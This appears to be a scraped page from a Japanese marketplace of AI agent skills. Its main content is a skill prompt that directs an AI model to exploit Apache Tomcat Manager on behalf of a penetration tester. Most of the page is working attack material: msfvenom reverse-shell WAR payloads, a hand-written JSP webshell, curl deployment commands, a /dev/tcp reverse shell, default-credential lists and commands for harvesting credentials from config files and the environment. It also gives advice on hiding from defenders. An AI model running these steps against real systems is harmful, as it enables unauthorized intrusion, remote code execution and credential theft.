You are helping a penetration tester exploit misconfigured Active Directory
日本語の概要は準備中です。原文の説明を表示しています。
You are helping a penetration tester exploit authenticated access to Apache
インストールする前に、エージェントに与えられる指示の中身を確認できます。
You are helping a penetration tester exploit authenticated access to Apache Tomcat's Manager application to deploy a malicious WAR file and achieve remote code execution. All testing is under explicit written authorization.
Check for ./engagement/ directory. If absent, proceed without logging.
When an engagement directory exists:
[tomcat-manager-deploy] Activated → <target> to the screen on activation.engagement/evidence/ with
descriptive filenames (e.g., sqli-users-dump.txt, ssrf-aws-creds.json).This skill covers Tomcat Manager WAR deployment — authenticating to the Manager interface, generating a malicious WAR payload, deploying it, triggering code execution, and catching a reverse shell. When you reach the boundary of this scope — whether through completing your methodology or discovering findings outside your domain — STOP.
Do not load or execute another skill. Do not continue past your scope boundary. Instead, return to the orchestrator with:
The orchestrator decides what runs next. Your job is to execute this skill thoroughly and return clean findings.
Stay in methodology. Only use techniques documented in this skill. If you encounter a scenario not covered here, note it and return — do not improvise attacks, write custom exploit code, or apply techniques from other domains. The orchestrator will provide specific guidance or route to a different skill.
Call get_state_summary() from the state MCP server to read current
engagement state. Use it to:
Your return summary must include:
Never download exploits, scripts, or tools directly to the target from the
internet (curl https://github.com/..., git clone on target). Targets may
lack outbound internet access, and operators must review files before they
reach the target.
Attackbox-first workflow:
git clone, curl, searchsploit -m locallypython3 -m http.server 8080 from the directory containing the filewget http://ATTACKBOX:8080/file -O /tmp/file or
curl http://ATTACKBOX:8080/file -o /tmp/fileAlternatives when HTTP is not viable: scp/sftp (if SSH exists),
nc file transfer, base64-encode and paste, or
impacket-smbserver share . -smb2support on attackbox.
Inline source code written via heredoc in this skill does not need this workflow — the operator can read the code directly.
manager-script or manager-gui role
/var/lib/tomcat{7,8,9,10}/conf/tomcat-users.xml,
/opt/tomcat/conf/tomcat-users.xml, /etc/tomcat*/tomcat-users.xmltomcat:tomcat, admin:admin, tomcat:s3cret,
admin:tomcat, manager:manager, role1:tomcat.env files/manager/text/ (script API) or
/manager/html/ (web GUI)| Role | Path | Capability |
|---|---|---|
manager-gui | /manager/html | Web GUI — upload WAR via browser form |
manager-script | /manager/text | Text API — deploy/undeploy via curl |
manager-jmx | /manager/jmxproxy | JMX monitoring only — no deployment |
manager-status | /manager/status | Server status only — no deployment |
Only manager-gui and manager-script allow WAR deployment. If you only have
manager-jmx or manager-status, deployment is not possible via Manager —
note this in Blocked and return.
If not already provided by the orchestrator or conversation context, determine:
/ or error pages for version string/manager/text/list and /manager/html/# Test manager-script API (text)
curl -s -u 'USER:PASS' 'http://TARGET:8080/manager/text/list'
# Expected: "OK - Listed applications for virtual host ..."
# Test manager-gui (HTML)
curl -s -o /dev/null -w '%{http_code}' -u 'USER:PASS' 'http://TARGET:8080/manager/html'
# Expected: 200
Use the correct network interface for reverse shell callbacks. Prefer VPN/tunnel interfaces over NAT adapters:
# Prefer tun0 (VPN), fall back to first non-loopback IP
LHOST=$(ip -4 addr show tun0 2>/dev/null | grep -oP 'inet \K[\d.]+') || \
LHOST=$(hostname -I | awk '{print $1}')
echo "Callback IP: $LHOST"
Common mistakes:
ping -c1 $LHOST from target context if possibleTomcat passwords often contain shell metacharacters (!, $, &, etc.).
When using curl -u, these must be handled carefully:
# Option 1: Single-quote the -u argument (prevents shell expansion)
curl -u 'tomcat:P@$$w0rd!' ...
# Option 2: Use Authorization header directly (most reliable)
# Base64-encode user:pass
AUTH=$(echo -n 'tomcat:P@$$w0rd!' | base64)
curl -H "Authorization: Basic $AUTH" ...
# Option 3: URL-encode special chars in the URL itself
curl 'http://tomcat:P%40%24%24w0rd%21@TARGET:8080/manager/text/list'
! in double quotes is especially problematic — bash interprets it as
history expansion. Always use single quotes or the Authorization header method.
# Standard JSP reverse shell WAR
msfvenom -p java/jsp_shell_reverse_tcp LHOST=$LHOST LPORT=4444 -f war \
-o /tmp/claude-1000/shell.war
# Alternative: Java meterpreter (if using Metasploit handler)
msfvenom -p java/meterpreter/reverse_tcp LHOST=$LHOST LPORT=4444 -f war \
-o /tmp/claude-1000/shell.war
# Staged variant (smaller payload, needs Metasploit handler)
msfvenom -p java/shell/reverse_tcp LHOST=$LHOST LPORT=4444 -f war \
-o /tmp/claude-1000/shell.war
If msfvenom is not available, create a WAR manually:
# Create a command execution JSP
mkdir -p /tmp/claude-1000/wardir
cat > /tmp/claude-1000/wardir/cmd.jsp << 'JSPEOF'
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
if (cmd != null) {
Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", cmd});
BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
String line;
while ((line = br.readLine()) != null) out.println(line);
br = new BufferedReader(new InputStreamReader(p.getErrorStream()));
while ((line = br.readLine()) != null) out.println(line);
}
%>
JSPEOF
# Package as WAR
cd /tmp/claude-1000/wardir && jar -cvf /tmp/claude-1000/cmd.war cmd.jsp
# List WAR contents to confirm the JSP is inside
jar -tf /tmp/claude-1000/shell.war | head -10
# Deploy via PUT (Tomcat 7+)
curl -u 'USER:PASS' --upload-file /tmp/claude-1000/shell.war \
'http://TARGET:8080/manager/text/deploy?path=/app'
# Expected: "OK - Deployed application at context path [/app]"
# Deploy via PUT with Authorization header (for special characters in password)
AUTH=$(echo -n 'USER:PASS' | base64)
curl -H "Authorization: Basic $AUTH" --upload-file /tmp/claude-1000/shell.war \
'http://TARGET:8080/manager/text/deploy?path=/app'
# Verify deployment
curl -u 'USER:PASS' 'http://TARGET:8080/manager/text/list'
# Should show: /app:running:0:app
Deploy to a non-obvious path to reduce visibility:
# Use an innocuous name
curl -u 'USER:PASS' --upload-file /tmp/claude-1000/shell.war \
'http://TARGET:8080/manager/text/deploy?path=/docs'
When only manager-gui is available (no manager-script), deploy via the
HTML form upload. This requires a multipart POST:
# Upload WAR via HTML form
curl -u 'USER:PASS' -F "deployWar=@/tmp/claude-1000/shell.war" \
'http://TARGET:8080/manager/html/upload?org.apache.catalina.filters.CSRF_NONCE=NONCE'
CSRF token required: The HTML interface uses CSRF protection. Extract the nonce first:
# Get CSRF nonce from manager page
NONCE=$(curl -s -u 'USER:PASS' 'http://TARGET:8080/manager/html' | \
grep -oP 'CSRF_NONCE=\K[A-F0-9]+' | head -1)
# Deploy with nonce
curl -u 'USER:PASS' -F "deployWar=@/tmp/claude-1000/shell.war" \
"http://TARGET:8080/manager/html/upload?org.apache.catalina.filters.CSRF_NONCE=$NONCE"
# Check via text API
curl -u 'USER:PASS' 'http://TARGET:8080/manager/text/list'
# Or check directly
curl -s -o /dev/null -w '%{http_code}' 'http://TARGET:8080/app/'
# Expected: 200
# Via MCP shell-server (preferred)
# start_listener(port=4444, label="tomcat-war-rce")
# Via netcat fallback
nc -nlvp 4444
# List the JSP filename inside the WAR
jar -tf /tmp/claude-1000/shell.war | grep '\.jsp$'
# Output example: scprbjej.jsp
# Trigger the reverse shell
curl 'http://TARGET:8080/app/JSPNAME.jsp'
If you don't know the JSP filename, request the context root — Tomcat may
auto-invoke index.jsp or the default servlet:
curl 'http://TARGET:8080/app/'
For the manual cmd.jsp webshell:
# Execute commands
curl 'http://TARGET:8080/app/cmd.jsp?cmd=id'
curl 'http://TARGET:8080/app/cmd.jsp?cmd=whoami'
# Send reverse shell from webshell
curl --data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/$LHOST/4444 0>&1'" \
'http://TARGET:8080/app/cmd.jsp'
After catching the reverse shell:
# Via MCP shell-server
# stabilize_shell(session_id="...")
# Manual stabilization
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Ctrl+Z, then:
stty raw -echo; fg
export TERM=xterm
id
whoami
hostname
cat /etc/os-release
Common Tomcat service users: tomcat, tomcat8, tomcat9, www-data
Undeploy the WAR when done to reduce footprint:
# Via text API
curl -u 'USER:PASS' 'http://TARGET:8080/manager/text/undeploy?path=/app'
# Expected: "OK - Undeployed application at context path [/app]"
# Verify removal
curl -u 'USER:PASS' 'http://TARGET:8080/manager/text/list'
Clean up local files:
rm -f /tmp/claude-1000/shell.war /tmp/claude-1000/cmd.war
rm -rf /tmp/claude-1000/wardir
After catching a shell as the Tomcat service user:
conf/server.xml for database connection strings.Report in your return summary: any new credentials, access, vulns, or pivot paths discovered.
When routing, pass along: target hostname/IP, current user, shell session ID, Tomcat version, and any credentials found on the system.
Before routing to discovery, grab these from the Tomcat service user context:
# Tomcat config files (credentials, DB connections)
cat /var/lib/tomcat*/conf/tomcat-users.xml 2>/dev/null
cat /opt/tomcat/conf/tomcat-users.xml 2>/dev/null
cat /var/lib/tomcat*/conf/context.xml 2>/dev/null
cat /var/lib/tomcat*/conf/server.xml 2>/dev/null
# Web app configs (may contain DB creds, API keys)
find /var/lib/tomcat*/webapps -name "*.xml" -o -name "*.properties" | head -20
grep -r "password" /var/lib/tomcat*/webapps/*/WEB-INF/ 2>/dev/null | head -10
# Environment variables
env | sort
| Version | Manager Text Path | Default Port | Notes |
|---|---|---|---|
| Tomcat 7 | /manager/text/ | 8080 | Legacy; manager-script role |
| Tomcat 8 | /manager/text/ | 8080 | manager-script role |
| Tomcat 9 | /manager/text/ | 8080 | manager-script role |
| Tomcat 10+ | /manager/text/ | 8080 | Jakarta namespace; same API |
All versions use the same text API. WAR files are compatible across versions (Java servlet spec is backward-compatible).
Tomcat 7 legacy note: Older Tomcat 7 installs may use /manager/deploy
instead of /manager/text/deploy.
webapps/ — visible to defendersmanager-script API calls appear in access logs with basic auth/docs, /examples) to blend inmanager-script or manager-gui role is assigned in tomcat-users.xmltomcat:tomcat, admin:admin, tomcat:s3cretmanager-* role and the
admin-gui rolemanager-script but not manager-gui — use the text API insteadMETA-INF/context.xml in the manager app may restrict access by IP:
<Valve className="org.apache.catalina.valves.RemoteAddrValve"
allow="127\.\d+\.\d+\.\d+|::1|0:0:0:0:0:0:0:1" />
If IP-restricted, the text API may also be blocked unless accessed from
localhost. Try via AJP proxy (route to ajp-ghostcat) or SSRF.maxPostSize in server.xmlwebapps/ directorywebapps/ip -4 addr show tun0)msfvenom -p java/jsp_shell_bind_tcp
and connect to the target insteadmanager/text/listjar -tf shell.war | grep .jspcurl http://TARGET:8080/app/ may auto-invoke the JSPUse the manual JSP webshell from Step 2. Package it as a WAR with jar:
jar -cvf shell.war cmd.jsp
Then deploy, trigger, and send a reverse shell from the webshell.
まだレビューはありません。使ってみた感想をお寄せください。
概要と使いどころ
You are helping a penetration tester exploit misconfigured Active Directory
日本語の概要は準備中です。原文の説明を表示しています。
You are helping a penetration tester enumerate an Active Directory domain and
日本語の概要は準備中です。原文の説明を表示しています。
You are helping a penetration tester establish persistent access in Active
日本語の概要は準備中です。原文の説明を表示しています。
You are helping a penetration tester exploit ADCS through template/CA access
日本語の概要は準備中です。原文の説明を表示しています。
You are helping a penetration tester establish persistence through AD CS
日本語の概要は準備中です。原文の説明を表示しています。
You are helping a penetration tester exploit misconfigured AD CS certificate
日本語の概要は準備中です。原文の説明を表示しています。